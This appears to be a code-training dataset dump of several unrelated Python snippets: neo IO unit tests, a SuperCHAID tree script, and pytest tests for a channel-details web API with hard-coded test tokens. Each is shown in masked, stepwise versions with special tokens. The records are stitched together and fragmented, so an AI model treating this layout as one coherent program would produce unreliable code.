""" Tests of neo.io.exampleio """ import pathlib import unittest from neo.io.exampleio import ExampleIO # , HAVE_SCIPY from neo.test.iotest.common_io_test import BaseTestIO from neo.test.iotest.tools import get_test_file_full_path from neo.io.proxyobjects import (AnalogSignalProxy, SpikeTrainProxy, EventProxy, EpochProxy) from neo import (AnalogSignal, SpikeTrain) import quantities as pq import numpy as np # This run standart tests, this is mandatory for all IO class TestExampleIO(BaseTestIO, unittest.TestCase, ): ioclass = ExampleIO entities_to_download = [] entities_to_test = [ 'fake1.fake', 'fake2.fake', ] def setUp(self): super().setUp() # ensure fake test files exist before running common tests for entity in self.entities_to_test: full_path = get_test_file_full_path(self.ioclass, filename=entity, directory=self.local_test_dir) pathlib.Path(full_path).touch() def tearDown(self) -> None: super().tearDown() for entity in self.entities_to_test: full_path = get_test_file_full_path(self.ioclass, filename=entity, directory=self.local_test_dir) pathlib.Path(full_path).unlink(missing_ok=True) # This is the minimal variables that are required # to run the common IO tests. IO specific tests # can be added here and will be run automatically # in addition to the common tests. class Specific_TestExampleIO(unittest.TestCase): def test_read_segment_lazy(self): r = ExampleIO(filename=None) seg = r.read_segment(lazy=True) for ana in seg.analogsignals: assert isinstance(ana, AnalogSignalProxy) ana = ana.load() assert isinstance(ana, AnalogSignal) for st in seg.spiketrains: assert isinstance(st, SpikeTrainProxy) st = st.load() assert isinstance(st, SpikeTrain) seg = r.read_segment(lazy=False) for anasig in seg.analogsignals: assert isinstance(ana, AnalogSignal) self.assertNotEqual(anasig.size, 0) for st in seg.spiketrains: assert isinstance(st, SpikeTrain) self.assertNotEqual(st.size, 0) # annotations assert 'seg_extra_info' in seg.annotations assert seg.name == 'Seg #0 Block #0' for anasig in seg.analogsignals: assert anasig.name is not None for st in seg.spiketrains: assert st.name is not None for ev in seg.events: assert ev.name is not None for ep in seg.epochs: assert ep.name is not None def test_read_block(self): r = ExampleIO(filename=None) bl = r.read_block(lazy=True) #assert len(bl.list_units) == 3 #assert len(bl.channel_indexes) == 1 + 1 # signals grouped + units grouped def test_read_segment_with_time_slice(self): r = ExampleIO(filename=None) seg = r.read_segment(time_slice=None) shape_full = seg.analogsignals[0].shape spikes_full = seg.spiketrains[0] event_full = seg.events[0] t_start, t_stop = 260 * pq.ms, 1.854 * pq.s seg = r.read_segment(time_slice=(t_start, t_stop)) shape_slice = seg.analogsignals[0].shape spikes_slice = seg.spiketrains[0] event_slice = seg.events[0] assert shape_full[0] > shape_slice[0] assert spikes_full.size > spikes_slice.size assert np.all(spikes_slice >= t_start) assert np.all(spikes_slice <= t_stop) assert spikes_slice.t_start == t_start assert spikes_slice.t_stop == t_stop assert event_full.size > event_slice.size assert np.all(event_slice.times >= t_start) assert np.all(event_slice.times <= t_stop) if __name__ == "__main__": unittest.main()
normal
{ "blob_id": "e51c0d8c6430603d989d55a64fdf77f9e1a2397b", "index": 1081, "step-1": "<mask token>\n\n\nclass TestExampleIO(BaseTestIO, unittest.TestCase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def tearDown(self) ->None:\n super().tearDown()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).unlink(missing_ok=True)\n\n\nclass Specific_TestExampleIO(unittest.TestCase):\n\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(lazy=True)\n for ana in seg.analogsignals:\n assert isinstance(ana, AnalogSignalProxy)\n ana = ana.load()\n assert isinstance(ana, AnalogSignal)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrainProxy)\n st = st.load()\n assert isinstance(st, SpikeTrain)\n seg = r.read_segment(lazy=False)\n for anasig in seg.analogsignals:\n assert isinstance(ana, AnalogSignal)\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrain)\n self.assertNotEqual(st.size, 0)\n assert 'seg_extra_info' in seg.annotations\n assert seg.name == 'Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n\n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(lazy=True)\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n t_start, t_stop = 260 * pq.ms, 1.854 * pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n assert shape_full[0] > shape_slice[0]\n assert spikes_full.size > spikes_slice.size\n assert np.all(spikes_slice >= t_start)\n assert np.all(spikes_slice <= t_stop)\n assert spikes_slice.t_start == t_start\n assert spikes_slice.t_stop == t_stop\n assert event_full.size > event_slice.size\n assert np.all(event_slice.times >= t_start)\n assert np.all(event_slice.times <= t_stop)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestExampleIO(BaseTestIO, unittest.TestCase):\n <mask token>\n <mask token>\n <mask token>\n\n def setUp(self):\n super().setUp()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).touch()\n\n def tearDown(self) ->None:\n super().tearDown()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).unlink(missing_ok=True)\n\n\nclass Specific_TestExampleIO(unittest.TestCase):\n\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(lazy=True)\n for ana in seg.analogsignals:\n assert isinstance(ana, AnalogSignalProxy)\n ana = ana.load()\n assert isinstance(ana, AnalogSignal)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrainProxy)\n st = st.load()\n assert isinstance(st, SpikeTrain)\n seg = r.read_segment(lazy=False)\n for anasig in seg.analogsignals:\n assert isinstance(ana, AnalogSignal)\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrain)\n self.assertNotEqual(st.size, 0)\n assert 'seg_extra_info' in seg.annotations\n assert seg.name == 'Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n\n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(lazy=True)\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n t_start, t_stop = 260 * pq.ms, 1.854 * pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n assert shape_full[0] > shape_slice[0]\n assert spikes_full.size > spikes_slice.size\n assert np.all(spikes_slice >= t_start)\n assert np.all(spikes_slice <= t_stop)\n assert spikes_slice.t_start == t_start\n assert spikes_slice.t_stop == t_stop\n assert event_full.size > event_slice.size\n assert np.all(event_slice.times >= t_start)\n assert np.all(event_slice.times <= t_stop)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass TestExampleIO(BaseTestIO, unittest.TestCase):\n ioclass = ExampleIO\n entities_to_download = []\n entities_to_test = ['fake1.fake', 'fake2.fake']\n\n def setUp(self):\n super().setUp()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).touch()\n\n def tearDown(self) ->None:\n super().tearDown()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).unlink(missing_ok=True)\n\n\nclass Specific_TestExampleIO(unittest.TestCase):\n\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(lazy=True)\n for ana in seg.analogsignals:\n assert isinstance(ana, AnalogSignalProxy)\n ana = ana.load()\n assert isinstance(ana, AnalogSignal)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrainProxy)\n st = st.load()\n assert isinstance(st, SpikeTrain)\n seg = r.read_segment(lazy=False)\n for anasig in seg.analogsignals:\n assert isinstance(ana, AnalogSignal)\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrain)\n self.assertNotEqual(st.size, 0)\n assert 'seg_extra_info' in seg.annotations\n assert seg.name == 'Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n\n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(lazy=True)\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n t_start, t_stop = 260 * pq.ms, 1.854 * pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n assert shape_full[0] > shape_slice[0]\n assert spikes_full.size > spikes_slice.size\n assert np.all(spikes_slice >= t_start)\n assert np.all(spikes_slice <= t_stop)\n assert spikes_slice.t_start == t_start\n assert spikes_slice.t_stop == t_stop\n assert event_full.size > event_slice.size\n assert np.all(event_slice.times >= t_start)\n assert np.all(event_slice.times <= t_stop)\n\n\n<mask token>\n", "step-4": "<mask token>\nimport pathlib\nimport unittest\nfrom neo.io.exampleio import ExampleIO\nfrom neo.test.iotest.common_io_test import BaseTestIO\nfrom neo.test.iotest.tools import get_test_file_full_path\nfrom neo.io.proxyobjects import AnalogSignalProxy, SpikeTrainProxy, EventProxy, EpochProxy\nfrom neo import AnalogSignal, SpikeTrain\nimport quantities as pq\nimport numpy as np\n\n\nclass TestExampleIO(BaseTestIO, unittest.TestCase):\n ioclass = ExampleIO\n entities_to_download = []\n entities_to_test = ['fake1.fake', 'fake2.fake']\n\n def setUp(self):\n super().setUp()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).touch()\n\n def tearDown(self) ->None:\n super().tearDown()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=\n entity, directory=self.local_test_dir)\n pathlib.Path(full_path).unlink(missing_ok=True)\n\n\nclass Specific_TestExampleIO(unittest.TestCase):\n\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(lazy=True)\n for ana in seg.analogsignals:\n assert isinstance(ana, AnalogSignalProxy)\n ana = ana.load()\n assert isinstance(ana, AnalogSignal)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrainProxy)\n st = st.load()\n assert isinstance(st, SpikeTrain)\n seg = r.read_segment(lazy=False)\n for anasig in seg.analogsignals:\n assert isinstance(ana, AnalogSignal)\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrain)\n self.assertNotEqual(st.size, 0)\n assert 'seg_extra_info' in seg.annotations\n assert seg.name == 'Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n\n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(lazy=True)\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n t_start, t_stop = 260 * pq.ms, 1.854 * pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n assert shape_full[0] > shape_slice[0]\n assert spikes_full.size > spikes_slice.size\n assert np.all(spikes_slice >= t_start)\n assert np.all(spikes_slice <= t_stop)\n assert spikes_slice.t_start == t_start\n assert spikes_slice.t_stop == t_stop\n assert event_full.size > event_slice.size\n assert np.all(event_slice.times >= t_start)\n assert np.all(event_slice.times <= t_stop)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "\"\"\"\nTests of neo.io.exampleio\n\"\"\"\n\nimport pathlib\nimport unittest\n\nfrom neo.io.exampleio import ExampleIO # , HAVE_SCIPY\nfrom neo.test.iotest.common_io_test import BaseTestIO\nfrom neo.test.iotest.tools import get_test_file_full_path\nfrom neo.io.proxyobjects import (AnalogSignalProxy,\n SpikeTrainProxy, EventProxy, EpochProxy)\nfrom neo import (AnalogSignal, SpikeTrain)\n\nimport quantities as pq\nimport numpy as np\n\n\n# This run standart tests, this is mandatory for all IO\nclass TestExampleIO(BaseTestIO, unittest.TestCase, ):\n ioclass = ExampleIO\n entities_to_download = []\n entities_to_test = [\n 'fake1.fake',\n 'fake2.fake',\n ]\n\n def setUp(self):\n super().setUp()\n # ensure fake test files exist before running common tests\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=entity,\n directory=self.local_test_dir)\n pathlib.Path(full_path).touch()\n\n def tearDown(self) -> None:\n super().tearDown()\n for entity in self.entities_to_test:\n full_path = get_test_file_full_path(self.ioclass, filename=entity,\n directory=self.local_test_dir)\n pathlib.Path(full_path).unlink(missing_ok=True)\n\n# This is the minimal variables that are required\n# to run the common IO tests. IO specific tests\n# can be added here and will be run automatically\n# in addition to the common tests.\nclass Specific_TestExampleIO(unittest.TestCase):\n def test_read_segment_lazy(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(lazy=True)\n for ana in seg.analogsignals:\n assert isinstance(ana, AnalogSignalProxy)\n ana = ana.load()\n assert isinstance(ana, AnalogSignal)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrainProxy)\n st = st.load()\n assert isinstance(st, SpikeTrain)\n\n seg = r.read_segment(lazy=False)\n for anasig in seg.analogsignals:\n assert isinstance(ana, AnalogSignal)\n self.assertNotEqual(anasig.size, 0)\n for st in seg.spiketrains:\n assert isinstance(st, SpikeTrain)\n self.assertNotEqual(st.size, 0)\n\n # annotations\n assert 'seg_extra_info' in seg.annotations\n assert seg.name == 'Seg #0 Block #0'\n for anasig in seg.analogsignals:\n assert anasig.name is not None\n for st in seg.spiketrains:\n assert st.name is not None\n for ev in seg.events:\n assert ev.name is not None\n for ep in seg.epochs:\n assert ep.name is not None\n\n def test_read_block(self):\n r = ExampleIO(filename=None)\n bl = r.read_block(lazy=True)\n #assert len(bl.list_units) == 3\n #assert len(bl.channel_indexes) == 1 + 1 # signals grouped + units grouped\n\n def test_read_segment_with_time_slice(self):\n r = ExampleIO(filename=None)\n seg = r.read_segment(time_slice=None)\n shape_full = seg.analogsignals[0].shape\n spikes_full = seg.spiketrains[0]\n event_full = seg.events[0]\n\n t_start, t_stop = 260 * pq.ms, 1.854 * pq.s\n seg = r.read_segment(time_slice=(t_start, t_stop))\n shape_slice = seg.analogsignals[0].shape\n spikes_slice = seg.spiketrains[0]\n event_slice = seg.events[0]\n\n assert shape_full[0] > shape_slice[0]\n\n assert spikes_full.size > spikes_slice.size\n assert np.all(spikes_slice >= t_start)\n assert np.all(spikes_slice <= t_stop)\n assert spikes_slice.t_start == t_start\n assert spikes_slice.t_stop == t_stop\n\n assert event_full.size > event_slice.size\n assert np.all(event_slice.times >= t_start)\n assert np.all(event_slice.times <= t_stop)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n", "step-ids": [ 6, 7, 8, 10, 11 ] }
[ 6, 7, 8, 10, 11 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> super_tree.fit(df) <|reserved_special_token_0|> visualizer.export('tree') <|reserved_special_token_0|> print(input_row[supernode_features + features_list]) print() <|reserved_special_token_0|> if result is not None: segment, segment_pairs, imputed_pairs = result print('Imputed pairs:', imputed_pairs) print('Supernode pairs:', segment.supernode_pairs) print('Segment pairs:', segment_pairs) print(segment) <|reserved_special_token_1|> <|reserved_special_token_0|> supernode_features = [manufacturing_region] features_list = [customer_region, product_family, make_vs_buy] dependant_variable = gm super_tree = SuperCHAID(supernode_features, features_list, dependant_variable) super_tree.fit(df) visualizer = SuperCHAIDVisualizer(super_tree) visualizer.export('tree') input_row = df.loc[0] input_row[make_vs_buy] = np.nan print(input_row[supernode_features + features_list]) print() result = super_tree.predict(input_row, impute=True) if result is not None: segment, segment_pairs, imputed_pairs = result print('Imputed pairs:', imputed_pairs) print('Supernode pairs:', segment.supernode_pairs) print('Segment pairs:', segment_pairs) print(segment) <|reserved_special_token_1|> from dataframe import * from chaid import SuperCHAID, SuperCHAIDVisualizer supernode_features = [manufacturing_region] features_list = [customer_region, product_family, make_vs_buy] dependant_variable = gm super_tree = SuperCHAID(supernode_features, features_list, dependant_variable) super_tree.fit(df) visualizer = SuperCHAIDVisualizer(super_tree) visualizer.export('tree') input_row = df.loc[0] input_row[make_vs_buy] = np.nan print(input_row[supernode_features + features_list]) print() result = super_tree.predict(input_row, impute=True) if result is not None: segment, segment_pairs, imputed_pairs = result print('Imputed pairs:', imputed_pairs) print('Supernode pairs:', segment.supernode_pairs) print('Segment pairs:', segment_pairs) print(segment) <|reserved_special_token_1|> from dataframe import * from chaid import SuperCHAID, SuperCHAIDVisualizer supernode_features = [manufacturing_region] features_list = [customer_region, product_family, make_vs_buy] dependant_variable = gm super_tree = SuperCHAID(supernode_features, features_list, dependant_variable) super_tree.fit(df) visualizer = SuperCHAIDVisualizer(super_tree) visualizer.export("tree") input_row = df.loc[0] input_row[make_vs_buy] = np.nan print(input_row[supernode_features + features_list]) print() result = super_tree.predict(input_row, impute=True) if result is not None: segment, segment_pairs, imputed_pairs = result print("Imputed pairs:", imputed_pairs) print("Supernode pairs:", segment.supernode_pairs) print("Segment pairs:", segment_pairs) print(segment)
flexible
{ "blob_id": "0a42c54ef1412b7f3b8e95da1d65ee05dfa14089", "index": 9709, "step-1": "<mask token>\n", "step-2": "<mask token>\nsuper_tree.fit(df)\n<mask token>\nvisualizer.export('tree')\n<mask token>\nprint(input_row[supernode_features + features_list])\nprint()\n<mask token>\nif result is not None:\n segment, segment_pairs, imputed_pairs = result\n print('Imputed pairs:', imputed_pairs)\n print('Supernode pairs:', segment.supernode_pairs)\n print('Segment pairs:', segment_pairs)\n print(segment)\n", "step-3": "<mask token>\nsupernode_features = [manufacturing_region]\nfeatures_list = [customer_region, product_family, make_vs_buy]\ndependant_variable = gm\nsuper_tree = SuperCHAID(supernode_features, features_list, dependant_variable)\nsuper_tree.fit(df)\nvisualizer = SuperCHAIDVisualizer(super_tree)\nvisualizer.export('tree')\ninput_row = df.loc[0]\ninput_row[make_vs_buy] = np.nan\nprint(input_row[supernode_features + features_list])\nprint()\nresult = super_tree.predict(input_row, impute=True)\nif result is not None:\n segment, segment_pairs, imputed_pairs = result\n print('Imputed pairs:', imputed_pairs)\n print('Supernode pairs:', segment.supernode_pairs)\n print('Segment pairs:', segment_pairs)\n print(segment)\n", "step-4": "from dataframe import *\nfrom chaid import SuperCHAID, SuperCHAIDVisualizer\nsupernode_features = [manufacturing_region]\nfeatures_list = [customer_region, product_family, make_vs_buy]\ndependant_variable = gm\nsuper_tree = SuperCHAID(supernode_features, features_list, dependant_variable)\nsuper_tree.fit(df)\nvisualizer = SuperCHAIDVisualizer(super_tree)\nvisualizer.export('tree')\ninput_row = df.loc[0]\ninput_row[make_vs_buy] = np.nan\nprint(input_row[supernode_features + features_list])\nprint()\nresult = super_tree.predict(input_row, impute=True)\nif result is not None:\n segment, segment_pairs, imputed_pairs = result\n print('Imputed pairs:', imputed_pairs)\n print('Supernode pairs:', segment.supernode_pairs)\n print('Segment pairs:', segment_pairs)\n print(segment)\n", "step-5": "from dataframe import *\nfrom chaid import SuperCHAID, SuperCHAIDVisualizer\n\nsupernode_features = [manufacturing_region]\nfeatures_list = [customer_region, product_family, make_vs_buy]\ndependant_variable = gm\n\nsuper_tree = SuperCHAID(supernode_features, features_list, dependant_variable)\nsuper_tree.fit(df)\n\nvisualizer = SuperCHAIDVisualizer(super_tree)\nvisualizer.export(\"tree\")\n\ninput_row = df.loc[0]\ninput_row[make_vs_buy] = np.nan\nprint(input_row[supernode_features + features_list])\nprint()\n\nresult = super_tree.predict(input_row, impute=True)\nif result is not None:\n segment, segment_pairs, imputed_pairs = result\n print(\"Imputed pairs:\", imputed_pairs)\n print(\"Supernode pairs:\", segment.supernode_pairs)\n print(\"Segment pairs:\", segment_pairs)\n print(segment)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
__all__ = ["loading"] from . import loading
normal
{ "blob_id": "f633496f1a7cd562fd41d697a2e26831ceaef479", "index": 8047, "step-1": "<mask token>\n", "step-2": "__all__ = ['loading']\n<mask token>\n", "step-3": "__all__ = ['loading']\nfrom . import loading\n", "step-4": "__all__ = [\"loading\"]\n\nfrom . import loading\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> @pytest.fixture def register_loginx2_create_invite(): """ Registers, logs in 2 users, creates new channel """ req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={ 'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_1, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) channel_info = dumps({'token': user_1_token, 'name': 'a channel', 'is_public': True}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channels/create', data= channel_info, headers={'Content-Type': 'application/json'}, method= 'POST') load(urllib.request.urlopen(req)) join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channel/invite', data= join_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) def test_details_basic(register_loginx2_create_invite): """ This test should pass with no issues """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 1}) payload = load(urllib.request.urlopen( f'{BASE_URL}/channel/details?{queryString}')) assert payload['name'] == 'a channel' assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan', 'name_last': 'Turing'}] def test_invalid_channelID(register_loginx2_create_invite): """ Channel ID is not a valid channel """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 50}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') def test_unauthorised_user(register_loginx2_create_invite): """ Authorised user is not a member of channel with channel_id """ register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info, headers={'Content-Type': 'application/json'}, method='POST') user_3_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'" ) queryString = urllib.parse.urlencode({'token': user_3_token, 'channel_id': 1}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') <|reserved_special_token_1|> <|reserved_special_token_0|> sys.path.append('..') <|reserved_special_token_0|> @pytest.fixture def register_loginx2_create_invite(): """ Registers, logs in 2 users, creates new channel """ req = urllib.request.Request(f'{BASE_URL}/workspace/reset', headers={ 'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_1 = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma', 'name_first': 'Alan', 'name_last': 'Turing'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_1, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) register_info_2 = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword', 'name_first': 'Ada', 'name_last': 'Lovelace'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login_info = dumps({'email': 'z5209488@unsw.edu.au', 'password': 'enigma'} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') login_info = dumps({'email': 'z5432455@unsw.edu.au', 'password': 'lovepassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) channel_info = dumps({'token': user_1_token, 'name': 'a channel', 'is_public': True}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channels/create', data= channel_info, headers={'Content-Type': 'application/json'}, method= 'POST') load(urllib.request.urlopen(req)) join_info = dumps({'token': user_1_token, 'channel_id': 1, 'u_id': 2} ).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/channel/invite', data= join_info, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) def test_details_basic(register_loginx2_create_invite): """ This test should pass with no issues """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 1}) payload = load(urllib.request.urlopen( f'{BASE_URL}/channel/details?{queryString}')) assert payload['name'] == 'a channel' assert payload['owner_members'] == [{'u_id': 1, 'name_first': 'Alan', 'name_last': 'Turing'}] def test_invalid_channelID(register_loginx2_create_invite): """ Channel ID is not a valid channel """ user_1_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMSJ9.N0asY15U0QBAYTAzxGAvdkuWG6CyqzsR_rvNQtWBmLg'" ) queryString = urllib.parse.urlencode({'token': user_1_token, 'channel_id': 50}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') def test_unauthorised_user(register_loginx2_create_invite): """ Authorised user is not a member of channel with channel_id """ register_info_2 = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword', 'name_first': 'Test', 'name_last': 'User'}).encode( 'utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/register', data= register_info_2, headers={'Content-Type': 'application/json'}, method='POST') load(urllib.request.urlopen(req)) login3_info = dumps({'email': 'z5454545@unsw.edu.au', 'password': 'testPassword'}).encode('utf-8') req = urllib.request.Request(f'{BASE_URL}/auth/login', data=login3_info, headers={'Content-Type': 'application/json'}, method='POST') user_3_token = ( "b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1X2lkIjoiMyJ9.hnzKv5QKl78L2jWvtB8w9kcxZHo1UFxGN5shF7HBK0Y'" ) queryString = urllib.parse.urlencode({'token': user_3_token, 'channel_id': 1}) with pytest.raises(urllib.error.HTTPError): urllib.request.urlopen(f'{BASE_URL}/channel/details?{queryString}') <|reserved_special_token_1|> 